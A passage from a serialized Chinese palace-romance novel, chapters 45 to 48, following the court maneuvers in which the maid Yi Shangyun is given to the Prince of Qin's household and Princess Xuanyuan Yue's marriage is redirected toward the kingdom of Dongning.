轩辕玥看了看衣上云,衣上云露出一脸的担忧。

西秦与东宁......俩人此时心里都希望着轩辕翰所担心的这件事情永远都不会发生,只是轩辕翰一人的多虑而已。然最后只见轩辕玥眼睛扑朔着向轩辕翰颔首确认。

“如此,本王知道了”轩辕翰看到她的回答,说完这句话便起身来。

然当他走到偏殿门口正准备要跨过门槛去的时候,忽然转身对她俩同时严肃地说道“你们俩今天对本王所求的事,本王都会办妥。但你们俩今日对本王的承诺,本王也绝对不允许你们违背半个字”

说完,他的身影便消失在俩人的视线里。

而此时,有一个人正在宫里做一件让每个人都为之大吃一惊的事情......

第四十五章:秦王府,得个医女

当轩辕翰走至风华宫偏殿门口正准备要跨过门槛去的时候忽然顿住,眼睛微微往后斜去对身后的衣上云和轩辕玥俩人严肃地说“你们俩今天对本王所求的事,本王都会办妥。但你们俩今日对本王的承诺,本王也绝对不允许你们违背半个字”

说完,他的身影便渐渐消失在俩人的视线里。

而此时,有一个人正在宫里做一件让每个人都为之大吃一惊的事情......

太后的永安宫内,散发着一阵阵淡淡的檀香味。皇后正亲自搀扶着刚礼佛完的太后走了出来在大殿里落座。

“母后,儿臣近日里思来想去,玥儿一向乖巧懂事。想必定是平日里跟那些奴才们厮混在一起被那个叫云儿的丫头教唆坏的,才会变得如此忤逆放肆...”皇后边走边怒道,将昨日发生在风华宫的事原原本本向太后详细禀着。

“这种不知天高地厚的奴才,处理了便是”太后听完严厉地说,任谁都想不到日日吃斋念佛菩萨心肠慈祥的太后,此时竟说出如此蛇蝎心肠歹毒的话来。

“儿臣只怕玥儿知道后与儿臣之间生了间隙,不过索性皇上已经有所定夺。这冰天雪地的,一天一夜十二个时辰跪下来定是必死无疑了”皇后亦是满脸肯定地说,太后认真地听着。

这时从大殿外进来一位公公前来禀告“太后娘娘,皇后娘娘,秦王妃到”。

“快传”太后顿时喜上眉梢对公公道。

梅汐媛一进门便微笑着恭敬行礼道“臣妾给母后请安,皇嫂万福”。

“秦王妃今日怎么来了,还不快过来给哀家瞧瞧,看这小脸小手冻得”太后甚是满意地笑着说着便伸出手去拉梅汐媛坐下,轻抚了抚她的一双纤纤玉手。

“是啊,今日天寒地冻的,秦王妃可要保重身子啊”皇后亦是陪笑着说。

“母后,皇嫂,其实臣妾早就应该前来宫里请安的。只因初至西秦不服水土,加之近来天气也都不怎么好,整日在王府的屋内闷着,身子便更是难见大好了,故就请安之事也耽搁了。还望母后和皇嫂见谅”。

梅汐媛这演戏的功夫也是不赖的,边说边掏出丝帕来轻轻掩起嘴唇轻咳了几声。

“秦王妃也真是有心了。既然如此,可有看过太医了?”太后的关切之意溢于言表。

“回母后,这秦王府的太医都是男子,诸多不便,故尚未曾就医”梅汐媛一边回答一边用帕子在唇边轻轻拭着。

“呦,这可不行啊,你和秦王刚刚大婚。秦王年纪轻,血气方刚的。你这身边要是没有个得力的太医,这万一哪天要是有了身子,这可该如何是好啊?”太后听了甚是忧心道。

听到太后的担忧,皇后立刻领会笑着开口道“母后,要不儿臣即刻从太医院挑几个资格老医术又好的医女赐给秦王妃,如何?”。

“皇后的法子极好,那就依照皇后所言赶快命人去办吧,一定要挑最拔尖儿伶俐的。今日正好秦王妃来宫中请安,赶快挑好了,等会一起随王妃回去秦王府好好侍候着”太后细心地叮嘱着皇后。

“谢母后和皇嫂关怀,其实秦王府目前女眷也就臣妾一人,也无需那么多人侍候,一人便可,而且......”。

“秦王妃有话不妨直说”皇后见其犹豫便道。

梅汐媛顿了顿又继续说“臣妾在大婚前一天恶疾突发,玥公主曾带了一名药女,医术颇高,人也不错,汐儿亦是觉得与她极为投缘,所以不知母后皇嫂可否将那名药女赐给汐儿?”。

“玥儿带的药女,莫非是...”皇后暗自喃喃琢磨着。

随后忙问“既然秦王妃已有中意的人选,可知那药女的名字,如若不知皇嫂派人去问玥儿,既已有合王妃心意的人,那最好不过了,省的选了不合适的回去侍候不周反而误了大事”。

“皇嫂,汐儿当日问过那药女的名字,她唤作...衣上云”梅汐媛看着皇后肯定道。

“果然是她”皇后听此心里嘀咕着,随即与太后对视了一眼,随即又似想要再次确认一番“秦王妃确定是衣上云吗?本宫倒是也见过那个奴才,好似并非王妃说的这般出类拔萃?”。

“皇嫂知道这个药女?那实在太好不过,也免去很多寻人的麻烦”梅汐媛刚说完,殿外又传来公公一声急促的通报声。

“皇上驾到,秦王殿下驾到”

璟帝:“儿臣给母后请安”。

轩辕翰:“儿臣给母后请安,皇嫂万福”。

“都快起来,今儿你们俩怎么一道过来了?”太后喜着疑问。

“臣妾给皇上请安”梅汐媛此时连忙起身给璟帝行礼。

璟帝:“秦王妃平身”。

一身明黄色龙袍的璟帝落座后这才回太后说“今日早朝结束后,得知秦王带了秦王妃入宫给母后请安,儿臣便邀其一道过来了”

“秦王妃可已适应了我西秦大地的这方水土?”璟帝看到安安静静坐在一边的梅汐媛问道。

梅汐媛正要答话,太后却抢了先“你们来的正好,哀家正要找秦王呢?”。

“母后找儿臣,不知所为何事?”轩辕翰听到不解地问。

太后随即一脸责怪地说“本来今日你们小两口有心,能够一道来给哀家请安,哀家甚是高兴。可如今,哼......”随即太后看了一眼身旁的皇后。

皇后看着太后的眼神立马便心领神会似是打趣地说道“秦王再忙,也不能疏忽了王妃的身子啊。她可是要为轩辕皇族开枝散叶的,王府竟给她连个贴身的医女都没有。你们俩这新婚燕尔的,万一她要是有了身子怎么办?”

太后亦是急急唱和着“皇后说的没错,秦王真是太大意了,万一有个闪失,看你怎么对得起老祖宗”。

轩辕翰听闻二人所说,立刻抬起那双一贯冰冷的眼睛看向坐在一旁的梅汐媛。

梅汐媛急急解释“母后,皇嫂,都怪汐儿的身子不争气,不是殿下的错”。

“好了,都知道你们新婚燕尔,你就莫在维护他了”太后态度似乎有些缓和。

随即皇后转向璟帝道“皇上,臣妾和母后商量着本打算在太医院挑几个医术好又聪明伶俐的医女赐给秦王妃,谁知秦王妃竟已有中意的人选”。

“哦,秦王妃至西秦也不过数月,且很少入宫,竟识得宫中之人?”向来疑心重的璟帝又开始怀疑起是否为轩辕翰在宫中结党营私的羽翼了。

轩辕翰自是心知肚明璟帝这番话的涵义,然而他本就与梅汐媛界限清晰互不相干,这纸赐婚本就是璟帝一手安排,所以自己倒也一点都不心虚,任璟帝自己胡乱去猜测。

梅汐媛正打算开口,皇后先说道“皇上,秦王妃所中意的人选便是侍候玥儿的那个药女...衣上云”。

“是她”璟帝愕然,与此同时轩辕翰亦是心里感到有些吃惊和不解,但他已习惯了隐忍,只是轻轻抬起那张不怒自威的冰冷脸孔来看向梅汐媛,梅汐媛却对他微笑着。

皇后朝璟帝颔首接着说“秦王妃初至我西秦,大婚的前一天突发恶疾,当时玥儿在秦王府得知后带着衣上云去给王妃诊治。如此说,她们也算是有缘。况且......”。

皇后说着说着停顿了一下又接着说“况且玥儿年龄还小,任性不懂事,臣妾正打算给她换几个年长懂规矩的人去侍候,好好调教调教她”。

皇后这样说,自是想要将衣上云与轩辕玥分开,他们还是认定了轩辕玥如今的忤逆都是与衣上云脱不了干系的。

本来还真没想好如何处置这个废柴丑女,这会竟然梅汐媛亲自点名了要衣上云,那她倒也不介意将这烫手的山芋丢出去,省的到时候轩辕玥因此而恨她。

璟帝自是听明白了皇后这话中的含义,便道“既然秦王妃看上了那奴才,也是她的福气,秦王妃便带回去吧。只是那奴才犯了错正在受罚,这两天怕是不能侍候,眼看这年关将近,就等过了年,让她去秦王府侍候,如何?”

“如此,臣妾谢陛下,谢太后,谢皇嫂赏赐”梅汐媛得偿所愿,连忙起身行礼致谢。

轩辕翰看着眼前这些人的所言所行,心里也自是猜到几分。不过,他倒也没反对。

他此刻心里想的是,或许衣上云在秦王府自己眼皮下比在皇宫的轩辕玥身边要安全的多。

梅汐媛起身后对着那高高在上的三位主子说“臣妾许久未见玥公主了,甚是想念,不知臣妾可否前去探望?再者,也请饶恕那个丫头吧,好吗?”。

“当然可以,玥儿整日在皇宫中传言说王妃母国的什么神蝶乃是天下之最,想必见到王妃肯定欢喜。再者,既然那丫头已赐给了秦王府,那以后便由秦王府多加管教了。来人,给秦王妃带路”皇后急急安排。

梅汐媛走后,大殿里终于没有了外人,轩辕翰这才开始说起他的正事。

“皇兄,母后,皇嫂。听闻要让玥儿与北烈国和亲,不知是否确有此事?”。

太后和皇后顿时变得脸色异常难看,璟帝则又开始猜疑“皇弟的消息可还真是灵通啊”。

这么多年,轩辕翰早已习惯了璟帝对他的冷嘲热讽,可为了西秦大局,他倒也不想与他多费唇舌。

此时他只自顾自地说了声“如果臣弟有更好的策略,不知皇兄可否收回成命?”

轩辕翰自是在走出风华宫时便对那俩可怜人所应之事,心里已经有了万全之策。

被誉为灵空大陆足智多谋、位高权重、冷面扼人且骁勇善战的战神西秦国秦王可不是徒有虚名而已。

听到他这句话,只见那三人一个个瞪大了眼睛急急翘首期盼着,希望轩辕翰口中的这个好策略能够帮助西秦国度过眼前这个大难关,否则这可就真的让他们“年关难过了啊”。

到底轩辕翰口中所说的更好的策略是什么呢?

第四十六章:惟恐,为他人作嫁衣裳

被誉为灵空大陆足智多谋、位高权重、冷面扼人且骁勇善战的战神西秦国秦王可不是徒有虚名而已。

听到他这句话,只见那三人一个个瞪大了眼睛急急翘首期盼着,希望轩辕翰口中的这个好策略能够帮助西秦国度过眼前这个大难关,否则这可就真的不止是让他们“年关难过了”

到底轩辕翰口中所说的更好的策略是什么呢?

自古以来,天子一言,千钧之重,重于九鼎,而轩辕翰今天能够当着这西秦国三位正主之面说出这样的话来,自是心里底气十足的。

虽说轩辕玥是这三位主子内心最为疼爱的皇子皇孙,但要是平日里,他自是不会屑于这等杂事。但如今却是因为方才对那二人的承诺,更因为那是衣上云不惜以自己性命想要成全和护着的人。

此时只见他完全不顾璟帝的言外之意究竟为何,只自顾自不紧不慢着说“如今灵空大陆四国,唯有东宁国与我西秦因战线太长恐后继无力故而未曾来犯。北烈虽频繁挑衅我西秦边疆,然所为无非也就是看中了我西秦国地大物广且国土与之接壤,是其欲要扩充其疆土的第一道障碍罢了。但北烈受其地域限制,供给一向不能自给自足,自古基本都是依靠与我西秦国的互市和对我国边境的掠夺为生。所以虽说北烈百万战马颇具实力,看似是我西秦最棘手的敌人,但实则我西秦如今需要休养生息,北烈比我们更需要修养补足。”

话说至此,三人都恍然大悟甚是觉得轩辕翰此番分析颇具道理。

听闻此言,璟帝自愧不如,只得苦笑了一声随即开口“那皇弟有何高见?”。

轩辕翰似是有所顾忌,然片刻后又继续道“臣弟认为,与其将玥儿嫁到苦寒极地的北烈国受苦,不如将她嫁给灵空大陆富甲一方的东宁国,尚可得以余生的幸福与安乐”。

轩辕翰顿了顿又继续说“而且,臣弟如今本就已与东宁公主联姻,如果玥儿再与东宁皇子联姻,世人便都会认为我西秦和东宁联手。那此后,试问还有谁敢轻易骚扰我西秦疆土?”。

听到这席话,就连一旁的太后和皇后都已经难以掩饰满腹的欣喜颔首对视着,甚是欢喜和满意。天下又有哪个做父母的不希望自己的孩子生活地幸福安乐,锦衣玉食呢?

然璟帝却皱着眉头说“皇弟所言确实不失为一个无可挑剔的上上之策,可是朕听闻那东宁国二皇子梅志豪妻妾成群,阴狠冷血,只怕玥儿嫁过去岂不委屈?”

这时,太后和皇后刚刚安放下去的心又立马悬了起来,面面相觑着,皇后甚是不忍心激动地先插了话“此法万万不可,玥儿尚且年幼,万不能给这样的人糟蹋了”

只见轩辕翰深吐一口浊气眼睛微动了一下,不惊不慌地说“皇嫂有所不知,臣弟所说的乃东宁国三皇子,名唤梅志煊。臣弟大婚之时便是此人担任的东宁送亲大使,当时与臣弟有过一面之缘。据臣弟所识,三皇子乃一风度翩翩、温润如玉、沉稳内敛之少年豪杰,一表人才,最重要的是...三皇子至今尚未婚娶”。

此刻,璟帝终于一展愁容,他怎么一时忘记了东宁国还有个三皇子,虽说不及二皇子有皇后生母坐镇撑腰,不过轩辕翰这个分析倒也不失为一个更好的上上之策,反正东宁国迟早也会是他的囊中之物。

顿时笑逐颜开的他竟猛拍了一把旁边的桌案高声呼道“如此甚好,朕即刻便派使臣前往东宁国商议此事,皇弟有勇有谋真不愧是我西秦皇族的骄傲”。

“皇兄谬赞,臣弟也只是不想委屈了玥儿罢了”轩辕翰冷冷地说,心里却甚是忧心着。即便他心里担心的事也是未来的事,可到底会怎样一切都还不可而知,但他终究还是担心着。

他一向如此,深谋远虑......

终究他还是做了这件连他自己也不知道这样做是对是错的事。只因衣上云先不惜以自己的性命为轩辕玥与璟帝周旋争取,后又以自己的一切来交换乞求他帮助轩辕玥得偿所愿。

此时,他只希望他担心的那一天永远不会到来。想着想着,他竟皱起了眉头,不知不觉间拳头也紧紧握了起来。

太后和皇后早就眉目舒展,握手言欢着一脸的激动不已。

半天,皇后言道“这真是太好了,这下皇儿终于有救了,虽然还是要嫁去他国,却总比那地处极北苦寒、一片荒凉的北烈国要好千倍万倍啊”

走出永安宫的宫门,轩辕翰便要打算回府去了,这会儿正在跟璟帝告辞,却听到他说“皇兄,多谢”

“皇弟此言,这是何意?”璟帝露着一脸狐疑地问,明明这次献策立功的是轩辕翰,却为何轩辕翰要谢他。

轩辕翰却一对剑眉上翘着,微微抿嘴浅笑一声,便告退离去。

璟帝看着轩辕翰离去的背影,又看了看旁边跟着的大公公亦是同样惊讶着,俩人都怔在原地半天也思而不得其解。

轩辕翰虽是浅浅一笑,却甚是难得见这誉满灵空大陆的万年冰山秦王一展笑颜。

随后,璟帝脸上又露出一脸疑云,意味深长地对身旁的大公公说道“看来,朕做了一件大错特错的事”。

大公公忙问“陛下何出此言?”。

璟帝又一次看向轩辕翰离去的的方向,微微顿了一下,吐了一口浊气紧接着道“或许朕当初不应该把这东宁国公主赐婚给秦王。之所以当初不给他赐婚内臣之女,就是怕他在西秦内结党营私,威胁朕的皇权。而如今,看他心思越发缜密,行事也愈加老练。如果万一日后他与东宁联手,那朕岂不是到头来都是为他人作嫁衣裳吗?”。

大公公听闻顿时惶恐道“陛下,秦王乃西秦皇族宗室之人,且多年来一向忠勇,他不会。况且,如今不是有玥公主亦要联姻东宁了吗?”。

璟帝冷笑一声,哼道“哼,不会......朕看他这些年怕是早有准备。至于玥儿,唉...”

大公公诚惶诚恐,不敢再语,一会儿过后俩人便缓缓踱步离去。

风华宫里,轩辕玥正大惊着不敢相信自己的耳朵,正对着去永安宫偷听回来报告的小宫女大声道“什么?你再给本公主说一遍”。

“没错,公主,奴婢听得很清楚。秦王殿下献策皇上将你嫁给东宁国三皇子梅志煊,皇上欣然答应了,而且即刻就派使臣前往东宁国商谈此事”。

小宫女亦是一脸兴奋上气不接下气地重复禀告了一遍。

轩辕玥终于听的清清楚楚,明明白白。一激动,竟然后退了两步用一只纤纤玉手掩起鼻翼当着大殿里所有奴才的面像个孩子一样激动的哭了起来。接着便急急朝着偏殿还只能卧榻休息的衣上云奔了过去。

“云儿,你听到了吗,你听到了吗?”轩辕玥几近手舞足蹈欣喜万分激动地对榻上尚且虚弱着的衣上云说着。

衣上云一脸憔悴却仍然为她高兴着,于是拼命地一边点头一边回答她说“奴婢听到了,听到了,恭喜公主终于得偿所愿”

“云儿,本公主就知道秦皇叔一定能做到,这天下就没有秦皇叔办不到的事,处理不了的难题。秦皇叔真的就是神一样的人,可比父皇强多了”轩辕玥情急之下竟口无遮拦地说出这样在宫里大忌的话来。

衣上云听闻顿时蹙眉急急提醒道“公主请慎言,小心隔墙有耳”。

“怕什么,这是本公主的宫殿,谁敢胡说,本公主重重罚他”轩辕玥却不以为然仍旧一副天不怕地不怕的傲慢公主性子道。

果然,白天不能说人,晚上不能说鬼,这隔墙外确实有耳。

此时,秦王妃梅汐媛正从永安宫请安完折回来刚至风华宫,已经跨上了寝殿的门槛便听到了里面轩辕玥极其喜悦的声音。

“这是说什么悄悄话呢,还不许人听?”一进门梅汐媛便打趣道。

“皇婶,你怎么又折回来了”轩辕玥立马改色惊道。

“怎么,不欢迎皇婶吗?”

“皇婶别误会,玥儿不是这个意思”轩辕玥急急解释。衣上云亦是想要起身,却被梅汐媛伸手过去拦了下来。

“你身子不适,就好好躺着吧,省的又让殿下惦记”梅汐媛此言一出,让衣上云不知如何应对,只能悄悄低下头来。

半天后她才说道“奴婢真是罪过,让主子们都费心了”。

轩辕玥听了,却急急开口说“云儿,你说的这是什么话,你这可都是为了本公主才变成这样的,所以这辈子本公主都会照顾你的,你就放心吧”。

梅汐媛听了,却微笑着对轩辕玥开口道“这辈子?......恐怕公主不能照顾她一辈子了”。

“皇婶此言何意?”轩辕玥顿时疑问,衣上云亦是一脸不解地看向梅汐媛。

只见梅汐媛清了清嗓子,接着有些严肃地说“公主有所不知,就在方才皇上已经将衣上云赐给秦王府了。以后她便要至秦王府做本王妃的贴身医女侍候左右了。换句话话说,也就是过了这个年以后她便要长居秦王府全权负责照顾本王妃的身子”

“什么,皇婶此话当真?父皇果真已经答应了?”轩辕玥似是不相信梅汐媛所说。

“千真万确”梅汐媛一字一顿清清楚楚地肯定道。

“不行,本公主不答应,本公主这就去找父皇母后,云儿哪儿都不能去,本公主不能没有云儿”轩辕玥说着竟然气冲冲地疾步往外要走。

梅汐媛一把急急拉住她的胳膊道“公主去了也无济于事,当时皇上、太后、皇后、还有...秦王殿下都在场,所以自是都认可同意了的”

轩辕玥怎么都没想到会是这样的结果,只是此刻蹙眉怔在原地里眼睁睁看着床榻上不得动弹的衣上云不知该怎么办才好?

似乎她已完全忘记了就在刚才,所有人都还沉浸在为她高兴的大好消息里面。

这时,梅汐媛看着她忽然放低了声音说“公主,本王妃知道你与云儿主仆情深,但是公主很快就会奉旨与他国皇室联姻,难不成公主也要带着云儿远走异国他乡吗?”。

轩辕玥心中怨恨着不想和她说话,便毫不客气地对她道......

第四十七章:幸运,平行时空里遇你

梅汐媛看着轩辕玥放低声音道“公主,本王妃知道你与云儿主仆情深,但是公主很快就会奉旨与他国皇子联姻,难不成公主也要云儿陪嫁到异国他乡吗?”。

轩辕玥心中怨恨着不想和她说话,便毫不客气地对她道“为何不可?难道皇婶不同意?”

“玥公主冰雪聪明,自然知晓女人三从四德中的三从。所谓未嫁从父、出嫁从夫、夫死从子。婚姻嫁娶一向是遵从父母之命媒妁之言,皇室和亲亦是如此。一个连自己未来的幸福都不得而知的人,公主又如何能许诺给云儿幸福呢?倘若日后和亲的对象是公主所属意之人,那便是公主独在异乡往后余生里一世的幸运;然而,和亲对象倘若不是公主所属意之人,那异国他乡便会成为公主一生被囚禁的金丝牢笼...”

梅汐媛说着忽然停了下来,或许是想到了自己现在的处境吧,有些触景生情。顿了一下吸了口气看了一眼衣上云,衣上云正看着轩辕玥此时似是有些动摇的眼神,那眼神是如此无助、不舍而又悲伤。

过了会儿梅汐媛眼睛看着衣上云对轩辕玥继续道“而她就不一样了,听说她在西秦国里还有父母兄弟姐妹在,所谓血浓于水,她又岂能完全撇下骨肉亲情追随公主而去。再说了,如果公主和亲的对象是前者,那么公主得偿所愿郎情妾意幸福一生,而她却要独自在异国他乡孤独地终老一生;又如果公主和亲的对象是后者,那么结果就是公主的身旁多了一个同命相怜的人而已。试问公主既然这么想照顾她周全,又岂能忍心如此对她呢?”。

听着梅汐媛这些忠告,轩辕玥顿时心里一种五味杂陈的感觉涌上心头,她还真未曾像梅汐媛这样透彻地替衣上云考虑打算过。

“公主,奴婢......”衣上云看到轩辕玥陷入了对梅汐媛这番话的沉思中,便急急想开口劝解,却被轩辕玥伸出手拦住。

这时,梅汐媛又开了口“然她跟随本王妃栖身于秦王府就不一样了,毕竟我们三人都年龄相仿,只是各自有着不同的身份和命运罢了。怎么也算相识一场,本王妃自是不会亏待了她。且王府总不比皇宫尔虞我诈,处处暗藏危机。所以,对我们所有人来说,秦王府才是她最好的归宿,不是吗?”

此话一出,一室寂静,再也没有人说话,整个大殿里只充满了这三个女人各自满满无尽的忧思一片......

所谓“三个女人一台戏”,而任谁也想不到,这三个女人的这台好戏才刚刚上演......

皇宫的回廊里,副将程良紧紧跟在主子轩辕翰的身后。

查看了周围还算是安全,已远离了璟帝的耳目,程良有些气恼的道“殿下为何要力谏陛下让玥公主与东宁和亲呢?我西秦的实力并不见输于东宁,这要真打起来,未必会输”。

轩辕翰听了,对他冷哼厉声道“哼,犯我西秦者,虽远必诛”。

程良更是不解,便问:“那殿下还为何?...”

半天后,轩辕翰才似是一脸无奈地道“是玥儿那丫头,她自己属意于东宁三皇子,非他不嫁。竟累及那丑丫头为其不惜以身犯险,险些送了性命”。

原来又是因为那个小药女,程良心里嘀咕着。

走着走着程良又抿着嘴翻动了一下那双漆黑的双眸,左思右想了一路,也不明所以,所幸再次开口问“殿下,属下还有一事不明,请殿下指教?”。

“你是不是想问刚才本王对皇兄的那句...谢谢”轩辕翰早已觉察到程良一路的疑问表情,此时他终于开口来问了,便先问了他。

程良摸了摸自己的脑门儿,答道“正是,殿下看出来了。刚才明明是殿下出的上上之策,解了他们的燃眉之急,可为何殿下还要向他道谢呢?”。

只见轩辕翰轻叹了口气,放慢了脚步道“本王的这个谢谢...与东宁公主同义”。

程良听了,立马呆在原地一怔“东宁公主?殿下不是向来不屑与她...,不对,王妃今日进宫显然是为了衣上云而来,难道殿下是因为她...”

程良终于反应了过来,一抬眼竟发现已被轩辕翰落下了一大截,随即便速速奔跑过去跟上“殿下真的喜欢那个小药女?”。

程良很确定轩辕翰听到了他所问的,可是轩辕翰依旧惜字如金,不多言语,只顾独自走着。

程良见主子此刻心情不错,索性直接将暗藏心底很久的话一起倒了出来“反正殿下如今也已经大婚了,堂堂一个王爷,纳个侧妃也不是什么为过的事情,殿下何不......”。

“住嘴”程良话还没说完,轩辕翰便打住了他。

然轩辕翰接下来的话更加让程良万分意外与惊讶“就算本王要收了她,又怎么可能让她做侧妃?”

说完这句,轩辕翰停下脚步用那深不见底的眼眸望着远处口中喃喃“本王只是不想增加她的负担”。

“殿下所说的负担是不是那个叫魏明轩的人?”程良接着轩辕翰的话问,轩辕翰斜了他一眼便又收了回去,继续往前走。

程良不再说话,心里也在思索,什么时候有机会一定当面好好质问那个丑丫头魏明轩到底是何方神圣,为何总是让她如此魂牵梦绕,让他的主子进退两难,而主子竟对一个丑丫头如此尊重。

“殿下,出宫的路在这边”程良突然发现向来方向感最强的轩辕翰此时拐入的回廊并不是往日里出宫回府的那条。

轩辕翰没有理他,他只得急急上前跟随着。

看清了去路后,程良终于喃喃道“原来又是要去风华宫看那丫头”。他轻轻晃了晃脑袋,原来主子对这小药女竟如此日益在乎了。

不过,现在的主子看着才更像是一个正常的男子,有着这个年龄正常人的喜、怒、哀、乐。所以,程良为此也很高兴。

“秦王殿下驾到”风华宫里忽然传来门外公公的通报声。紧接着所到之处,奴才们纷纷恭恭敬敬的下跪拜见。

宫殿里沉默了许久,个个一脸忧思的三个女人亦是纷纷急急起身来相迎。

“臣妾参见殿下”梅汐媛规规矩矩地微笑着行礼道,轩辕翰今日出乎意外地从她身边走过的时候特意抬眼看了她,不再像以前那样无视她。

而就这一眼,梅汐媛都瞬间感觉心里无比温暖,她也自知是因为衣上云的关系,但她依旧欣喜着,就连她的眼睛此时都变得温柔了许多。

衣上云正要行礼,轩辕玥却急急上前拉住了轩辕翰的胳膊任性地一边摇晃着一边哭问“秦皇叔,你们为何要将云儿带走,为何要将云儿与玥儿分开,玥儿不想云儿走,玥儿想云儿永远陪在玥儿身边”。

衣上云蹙眉听着看着轩辕玥此时就像个孩子一样的乞求着他,她的一举一动,都让衣上云感到胸口闷极了,就像快要不能喘过气来,竟不由自主地伸起一只手来紧紧攥住胸口的衣裳,眼眶里眼泪直打转。

轩辕翰看了看衣上云,又看着轩辕玥,最终将轩辕玥的手缓缓拿开来安慰她说道“玥儿,你已经长大了。既然长大了,你就要明白,在这个世上,是没有谁会一直陪着你的,总有一天,你会成为孤独的一个人”。

轩辕玥听了轩辕翰这番话后终于最后确定了梅汐媛方才所说的一切全部都是真的,衣上云这次是真的要离开自己,进秦王府的大门了。

于是她泪眼婆娑地对轩辕翰道“秦皇叔,玥儿明白了。但请皇叔答应玥儿,日后云儿到了秦王府,皇叔一定要好好照顾云儿。她爹娘不待见她,天生长相不好,又被人欺负退了婚,她真的很可怜,但她人真的很好,是这个世界上玥儿见过的最善良最正直的女子”。

“公主...”衣上云哽咽道,她在一旁听了轩辕玥这番话,眼泪再也忍不住从眼眶里一涌而出,她自是也很舍不得与轩辕玥分开。

虽然她本也打算如果轩辕玥需要,她亦可一生追随其左右。但听了轩辕翰的这句话,她却忽然意识到或许轩辕翰说的才是对的:人总归要学着自己长大。

她自己本就是不属于这个时代的人,不知道自己怎么来的?自然也不知道会怎样回去?何时回去?如此分开,也算是所谓的长痛不如短痛吧。

只看到衣上云整理好纷乱的情绪后对轩辕玥信誓旦旦地说道“公主放心,往后余生,云儿可以自己照顾好自己。无论公主以后身在何处,只要需要云儿,就算天涯海角云儿也万死不辞,云儿的心上永远系着玥公主”。

说着说着她竟伸起右手的食指,中指,无名指将其并拢一字一顿地发誓道“衣上云在此发誓...此生...我...衣上云...绝不负玥公主...天涯海角...云心永系玥...有违此誓者,必受天诛地灭”。

轩辕翰眼睁睁看着眼前这两个瘦小的女子,深深的被她们的友谊震撼着。他第一次发现原来女子之间的感情也会如此真挚深重令人敬佩。

她们俩都很幸运,因为大千世界,平行时空里她们能够有缘相遇相知。

而一旁的梅汐媛则心里悄悄窃喜着,一双极致温柔的眼睛深情地看着旁边的轩辕翰......

第四十八章:薄唇的10岁少年

轩辕翰耗费了他极为宝贵的大半天时间,终于平息了风华宫的这场轩然大波。

此时刚从风华宫出来,走在出宫回府的回廊里,眼前却不断浮现着衣上云方才在风华宫里三指并拢信誓旦旦起誓的场面。

“衣上云在此发誓...此生...我...衣上云...绝不负玥公主,有违此誓者,必受天诛地灭”

想着想着,他微微低着的双眼轻轻闪烁了两下,随之两边嘴角上露出一抹好看的弧度来。

“殿下,臣妾今日给秦王府挑的医女,殿下可还满意?”梅汐媛见轩辕翰此时似乎心情不错,才敢走近他的身旁出声来问。

谁知轩辕翰听到她的声音,却突然停住了脚步微微侧过身子朝向了梅汐媛,第一次紧紧盯着她的眼睛。

然而却露出了极为严厉的目光对她说道“本王再警告你一次,也是第二次警告你,本王不希望这个警告会有第三次。所以,你最好这次给本王记好了。以后任何有关秦王府的事,本王绝对不允许你肆意妄为,擅自做主,本王希望你好自为之”

说完,轩辕翰便立刻转身快步走开去,一出宫门便与副将程良一同跃上马背策马回府。

梅汐媛杵在原地,硬是愣住半天都没反应过来:明明刚才轩辕翰还心情颇佳的一脸笑容;明明刚才在风华宫里,他还对她今日格外的另眼相看;明明自己就是把轩辕翰中意的女子帮她收入秦王府......

可是,为什么?为什么他一转眼却会如此对她。她所做的一切明明都是按照他的心意来的呀,这到底是为什么?为什么自己所做的一切,所说的一切,在他的眼里就都成了肆意妄为,擅自做主了呢?还被教训让她好自为之。

她可是东宁国极其骄傲与尊贵的公主,如今却被他一次又一次地蔑视和训斥,梅汐媛想着想着,整个人杵在那里居然气的直哆嗦竟发起抖来。

如果不是因为她此时身在皇宫里,还指不出会做出什么泄恨的举止来,估计这会儿她连杀人的心都有的,她愤怒极了。

“轩辕翰,你给本公主等着,总有一日,本公主要你后悔莫及......”梅汐媛愤恨的喃喃自语道。

这时,赵嬷嬷上前来一脸不解地问“王妃娘娘,这么好的机会,为何不让那个西秦公主带着那个丑丫头走呢?”

梅汐媛听了看着轩辕翰离去的方向,意味深长地冷哼道“哼,你以为我们的秦王殿下会这么轻易放她走吗......”

“殿下,王妃娘娘不是帮殿下把衣上云从宫里讨到秦王府了吗?殿下为何还...?”程良不解地问道。

“哼,只怕梅汐媛可没那么好心。这个女人城府极深,以后让你手下的人都加强王府的防卫。本王猜的没错的话,东宁国在这场和亲里面肯定有阴谋,如此富甲一方的强国,怎么会无缘无故将一个真正的公主下嫁到我西秦呢?”向来深思熟虑的轩辕翰仔细分析交待着程良。

程良却嬉笑着说“这有什么不可能的,我西秦也不差啊。再说了,世人有谁不知西秦秦王英勇神武。殿下的威名可是名扬四海,誉满灵空的呀...”。

程良一说起主子轩辕翰的神勇来就滔滔不绝,可正当他还想继续说下去的时候却被轩辕翰投过来一个寒气逼人的眼神,他见了立马将嘴紧紧闭了起来。随后便恭恭敬敬地作揖领命“属下领命”

至此,轩辕翰方才收回了那双寒光四射的双眸来。然立刻又忧心起来,梅汐媛到底为什么要衣上云进秦王府做她的医女,他可不相信梅汐媛真的有那么大的度量和气魄帮他将一个女子讨入府来,即使他的私心里也真的很期望衣上云能够留在自己的身边。

程良正想退出大殿去,轩辕翰忽然开口下令“立刻差人去整个灵空寻找名医和术士,能医好衣药女腿疾的,本王重重有赏。本王可不希望秦王府到时候有个瘸腿的医女”

程良听了抬眼一怔心想,关心就关心呗,干嘛还找个如此冠冕堂皇的理由,把话说的那么难听。

但刚被教训过的他,此时可绝对不想再被训斥一顿,便回答“是,属下这就去办”,然后一脸无奈地退下。

......

时光飞逝,转眼已是腊月里,几近年关了。伴随着即将到来的除夕,天气也是愈发地寒冷。

自从上次冬夜里被雪地罚跪后,尽管在轩辕翰背地里的安排和庇护下,衣上云修养的也算是极好。然遇到这寒冷潮湿的天气,她的腿疾依旧还是会复发。

这会儿她正在坐榻上独自揉捏着酸痛难忍的一双膝盖,忽然听到外面一阵喧哗声,便缓缓起身来想出去探个究竟。

“快快快,动作都麻利点”

“你,照着这个方子赶快去配药”

“还有你,赶快清洗准备好专用的药锅,药配回来马上煎好送去东华宫”

......

衣上云一出门便看到丁香急急忙忙地安排着。

她的腿脚时有不变,丁香这些日子下来倒也能帮她处理很多的事了,进步也很快,估摸着等衣上云出了宫去了秦王府,这大药女的差事十有八九应该交给她了。衣上云为此也倍感欣慰,这样她也能走的安心许多。

